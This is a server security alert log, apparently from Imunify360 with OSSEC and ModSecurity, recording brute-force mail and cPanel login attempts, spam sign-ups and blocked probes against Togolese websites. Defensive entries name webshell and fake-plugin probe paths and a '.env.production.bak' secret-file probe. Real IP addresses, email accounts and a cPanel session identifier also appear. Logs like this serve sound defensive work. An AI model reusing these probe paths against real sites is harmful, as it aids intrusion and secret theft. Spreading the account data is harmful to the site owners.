abuser: 116.114.94.242
country_id: 1814991
description:
Jun  9 05:31:42 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.114.94.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-06-09 05:31:44 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:50048: 535 Incorrect authentication data (set_id=support@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.234
country_id: 3175395
description:
Jun  9 05:31:50 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.13
country_id: 1512440
description:
2026-06-09 05:31:39 H=([213.230.87.13]) [213.230.87.13]:40569 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.153.194.188
country_id: 1880251
description:
43.153.194.188 - - [09/Jun/2026:05:31:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854046&pdata=https%253A%252F%252Flaunetogo.tg%252Finauguration-dune-maison-des-jeunes-dans-le-kloto-1-un-nouvel-espace-de-convergence-pour-les-jeunes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780983086 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/inauguration-dune-maison-des-jeunes-dans-le-kloto-1-un-nouvel-espace-de-convergence-pour-les-jeunes/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.153.194.188


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.242.230.113
country_id: 3017382
description:
[2026-06-09 05:32:24 +0000] info [cpaneld] 38.242.230.113 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.17
country_id: 1512440
description:
2026-06-09 05:32:47 H=([213.230.92.17]) [213.230.92.17]:58808 F=<waphf@white-ways.com> rejected RCPT <waphf@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.106.185.35
country_id: 2017370
description:
[2026-06-09 05:32:25 +0000] info [cpaneld] 193.106.185.35 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.159.73.118
country_id: 1668284
description:
[2026-06-09 05:32:29 +0000] info [cpaneld] 49.159.73.118 - dagl "GET /login/?login_only=1&user=dagl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dagl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 139.135.200.238
country_id: 1694008
description:
[2026-06-09 05:32:43 +0000] info [cpaneld] 139.135.200.238 - da "GET /login/?login_only=1&user=da&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user da (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.62.30.247
country_id: 3865483
description:
[2026-06-09 05:32:22 +0000] info [cpaneld] 179.62.30.247 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [09/Jun/2026:05:35:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7181979&pdata=http%253A%252F%252Fselithgroup.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780983331 HTTP/1.1" 404 561 selithgroup.com "http://selithgroup.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:05-37.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Open Your Unexpected Parcel bonotdamvam.blogspot.it lP||Email:heinhtet.a12217@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.207.61.79
country_id: 6251999
description:
[2026-06-09 05:39:29 +0000] info [cpaneld] 104.207.61.79 - mouss "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mouss (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.98.242
country_id: 1562822
domain: www.wages.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.wages.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.98.242
country_id: 1562822
domain: www.wages.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.wages.tghttp/www.wages.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-42.213.32.21.59||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.66.28
country_id: 1269750
description:
Jun  9 05:41:34 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.66.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.73.7
country_id: 1512440
description:
2026-06-09 05:42:49 H=([84.54.73.7]) [84.54.73.7]:61527 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 195.82.15.188
country_id: 1522867
description:
2026-06-09 05:43:22 H=([195.82.15.188]) [195.82.15.188]:63573 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 67.209.130.175
country_id: 1522867
description:
2026-06-09 05:44:37 H=([67.209.130.175]) [67.209.130.175]:57578 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 94.139.57.235
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:bien-etre-des-communautes-togolaises-une-lettre-de-mission-executee-a-974/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-06-09 05:48:15 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:17496: 535 Incorrect authentication data (set_id=info@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.93.6.230
country_id: 1814991
description:
Jun  9 05:48:13 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.93.6.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 67.209.130.175
country_id: 1522867
description:
2026-06-09 05:49:19 H=([67.209.130.175]) [67.209.130.175]:23803 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.73.209.71
country_id: 1562822
description:
Jun  9 05:53:53 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.73.209.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.73.209.71
country_id: 1562822
description:
2026-06-09 05:53:55 dovecot_plain authenticator failed for H=(khazm4lfwkrpyl3l) [27.73.209.71]:57615: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.144.86
country_id: 6252001
description:
2026-06-09 05:53:17 dovecot_login authenticator failed for H=24-119-144-86.cpe.sparklight.net [24.119.144.86]:39646: 535 Incorrect authentication data (set_id=info@togosem.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.73.7
country_id: 1512440
description:
2026-06-09 05:56:14 H=([84.54.73.7]) [84.54.73.7]:42367 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.101
country_id: 1814991
description:
27.115.124.101 - - [09/Jun/2026:05:59:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7509861&pdata=https%253A%252F%252Ftogointerim.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780984772 HTTP/2.0" 302 0 togointerim.net "https://togointerim.net/" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.101


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 123.6.49.12
country_id: 1814991
description:
123.6.49.12 - - [09/Jun/2026:05:59:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803716&pdata=http%253A%252F%252Ftogointerim.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780984751 HTTP/1.1" 404 561 togointerim.net "http://togointerim.net/" "Mozilla/5.0 (Linux; Android 10; HUAWEI P30 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.12


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.47
country_id: 1814991
description:
123.6.49.47 - - [09/Jun/2026:05:59:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055524&pdata=https%253A%252F%252Ftogointerim.net%252Flang%252Ffr&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780984762 HTTP/2.0" 302 0 togointerim.net "https://togointerim.net/lang/fr" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.47


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Capture Your Cash Bonus vamvozmviigr.blogspot.cz tM||Email:lakeshawilliams383@yahoo.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:06-02.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.161.13
country_id: 2363686
description:
[2026-06-09 06:03:19 +0000] info [cpaneld] 102.64.161.13 NEW rdlizssu:TIGTDGpimrBnGvuI address=102.64.161.13,app=cpaneld,creator=rdlizssu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.59.106
country_id: 1835841
description:
2026-06-09 06:07:15 dovecot_login authenticator failed for H=([121.128.76.109]) [61.72.59.106]:40493: 535 Incorrect authentication data (set_id=no-reply@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-06-09 06:07:30 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:34022: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.235.31.47
country_id: 6252001
description:
Jun  9 06:07:28 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.235.31.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.72.59.106
country_id: 1835841
description:
Jun  9 06:07:13 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.72.59.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-06-09 06:10:18 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:52346: 535 Incorrect authentication data (set_id=it@togosem.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.160.164
country_id: 1880251
description:
104.28.160.164 - - [09/Jun/2026:06:11:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934492&pdata=https%253A%252F%252Fucao-uut.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780985511 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.6 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.160.164


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.81.59.2
country_id: 3686110
description:
2026-06-09 06:13:00 dovecot_plain authenticator failed for H=([91.92.243.93]) [186.81.59.2]:1098: 535 Incorrect authentication data (set_id=admin@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.160.164
country_id: 1880251
description:
104.28.160.164 - - [09/Jun/2026:06:12:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10458007&pdata=https%253A%252F%252Fucao-uut.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780985537 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.6 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.160.164


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.3.35.248
country_id: 6252001
description:
[2026-06-09 06:12:21 +0000] info [cpaneld] 45.3.35.248 - cvajhehu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.42.141.194
country_id: 3469034
description:
2026-06-09 06:12:45 dovecot_plain authenticator failed for H=([91.92.243.93]) [179.42.141.194]:27321: 535 Incorrect authentication data (set_id=info@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.187.78.143
country_id: 99237
description:
2026-06-09 06:13:14 dovecot_plain authenticator failed for H=([91.92.243.93]) [185.187.78.143]:56326: 535 Incorrect authentication data (set_id=support@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.247.59.62
country_id: 3865483
description:
2026-06-09 06:13:29 dovecot_plain authenticator failed for H=([91.92.243.93]) [170.247.59.62]:32956: 535 Incorrect authentication data (set_id=marketing@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.150
country_id: 3865483
description:
Jun  9 06:13:40 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.185.20.69
country_id: 3469034
description:
2026-06-09 06:13:45 dovecot_plain authenticator failed for H=177-185-20-69.sempre.tec.br ([91.92.243.93]) [177.185.20.69]:50297: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.195.182.142
country_id: 2635167
description:
2026-06-09 06:13:58 dovecot_plain authenticator failed for H=([91.92.243.93]) [90.195.182.142]:41360: 535 Incorrect authentication data (set_id=contato@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.170.57.249
country_id: 6252001
description:
Jun  9 06:14:38 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.170.57.249 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.35.78.218
country_id: 6252001
description:
2026-06-09 06:15:09 dovecot_plain authenticator failed for H=([91.92.243.93]) [104.35.78.218]:43890: 535 Incorrect authentication data (set_id=accounts@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.121.99.175
country_id: 3469034
description:
2026-06-09 06:14:11 dovecot_plain authenticator failed for H=([91.92.243.93]) [168.121.99.175]:23851: 535 Incorrect authentication data (set_id=contacto@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.66.126.73
country_id: 3469034
description:
2026-06-09 06:14:54 dovecot_plain authenticator failed for H=([91.92.243.93]) [200.66.126.73]:13358: 535 Incorrect authentication data (set_id=it@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.46.66.14
country_id: 1512440
description:
2026-06-09 06:14:26 dovecot_plain authenticator failed for H=([91.92.243.93]) [95.46.66.14]:35572: 535 Incorrect authentication data (set_id=financeiro@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.189.151.221
country_id: 3508796
description:
2026-06-09 06:14:39 dovecot_plain authenticator failed for H=([91.92.243.93]) [38.189.151.221]:40529: 535 Incorrect authentication data (set_id=comercial@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.230.150.109
country_id: 298795
description:
2026-06-09 06:15:57 dovecot_plain authenticator failed for H=([91.92.243.93]) [88.230.150.109]:13724: 535 Incorrect authentication data (set_id=office@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.35.78.218
country_id: 6252001
description:
2026-06-09 06:15:15 dovecot_login authenticator failed for H=([91.92.243.93]) [104.35.78.218]:43890: 535 Incorrect authentication data (set_id=accounts@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.215.129
country_id: 1733045
description:
2026-06-09 06:15:24 dovecot_plain authenticator failed for H=([91.92.243.93]) [113.211.215.129]:2452: 535 Incorrect authentication data (set_id=suporte@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.217.243.36
country_id: 953987
description:
2026-06-09 06:15:40 dovecot_plain authenticator failed for H=([91.92.243.93]) [102.217.243.36]:12726: 535 Incorrect authentication data (set_id=hr@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.146.204.175
country_id: 2017370
description:
2026-06-09 06:16:53 dovecot_plain authenticator failed for H=(cvtd59espx8ewi2809fsd52w66fse1g) [46.146.204.175]:53888: 535 Incorrect authentication data (set_id=aime.d@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.177.159.96
country_id: 2464461
description:
2026-06-09 06:16:10 dovecot_plain authenticator failed for H=([91.92.243.93]) [196.177.159.96]:45294: 535 Incorrect authentication data (set_id=soporte@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.146.204.175
country_id: 2017370
description:
Jun  9 06:16:51 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.146.204.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.54.94.237
country_id: 1512440
description:
2026-06-09 06:16:52 dovecot_plain authenticator failed for H=([91.92.243.93]) [84.54.94.237]:18647: 535 Incorrect authentication data (set_id=info@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.242.64.44
country_id: 298795
description:
2026-06-09 06:16:24 dovecot_plain authenticator failed for H=([91.92.243.93]) [88.242.64.44]:42392: 535 Incorrect authentication data (set_id=ventas@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.143.191.157
country_id: 3595528
description:
2026-06-09 06:16:38 dovecot_plain authenticator failed for H=([91.92.243.93]) [190.143.191.157]:52475: 535 Incorrect authentication data (set_id=clients@dgdn-togo.tg)


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.137.126.58
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.15||T:APACHE||SC:/home/hphhdcxi/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/up.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.58
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/wp-admin/images/bootstrap.php||SC:/home/hphhdcxi/public_html/wp-admin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.197.145.141
country_id: 1819730
description:
Jun  9 06:17:51 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.197.145.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.141
country_id: 1819730
description:
2026-06-09 06:17:53 dovecot_login authenticator failed for H=([223.197.145.141]) [223.197.145.141]:63728: 535 Incorrect authentication data (set_id=webmaster@togosem.com)


plugin: modsec
rule: 77350392
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.58
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoplugins/db.php?u||WPU:||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.7.80.213
country_id: 1562822
description:
Jun  9 06:18:00 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.7.80.213 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  9 06:19:08 ns5 pure-ftpd[469821]: (?@146.190.126.213) [INFO] New connection from 146.190.126.213


plugin: modsec
rule: 77350391
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.58
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/pwnd.php||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.79
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/images/admin.php||SC:/home/hphhdcxi/public_html/images||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 45.137.126.58
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/hphhdcxi/public_html/wp-includes||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.58
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/wp-admin/images/wp-conflg.php||SC:/home/hphhdcxi/public_html/wp-admin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.161
country_id: 1880251
description:
47.128.96.161 - - [09/Jun/2026:06:19:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120085&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconcours-de-recrutement-des-fonctionnaires-de-police%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780985969 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/concours-de-recrutement-des-fonctionnaires-de-police/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.161


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.96
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/index.php||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.96
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoo/about.php||WPU:||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.79
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/images/index.php||SC:/home/hphhdcxi/public_html/images||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 45.137.126.79
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.15||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.96
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/wp-content/uploads/wp.php||SC:/home/hphhdcxi/public_html/wp-content||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.200
country_id: 1880251
description:
47.128.96.200 - - [09/Jun/2026:06:19:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10121884&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fclicks-pharmacy%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780985992 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/clicks-pharmacy/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.200


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  9 06:19:13 ns5 pure-ftpd[469821]: (?@146.190.126.213) [WARNING] Authentication failed for user [direct7]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.72
country_id: 1269750
domain: test.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/wp-content/uploads/bypass.php||SC:/home/hphhdcxi/public_html/wp-content||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 149.54.40.110
country_id: 1149361
description:
2026-06-09 06:20:18 H=([149.54.40.110]) [149.54.40.110]:53239 F=<John@4452.com> rejected RCPT <e.sanvee@lacs1.mairie.tg>: Sender verify failed


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.199.118.24
country_id: 3469034
domain: antasertogo.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.production.bak||User:antasadmin||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
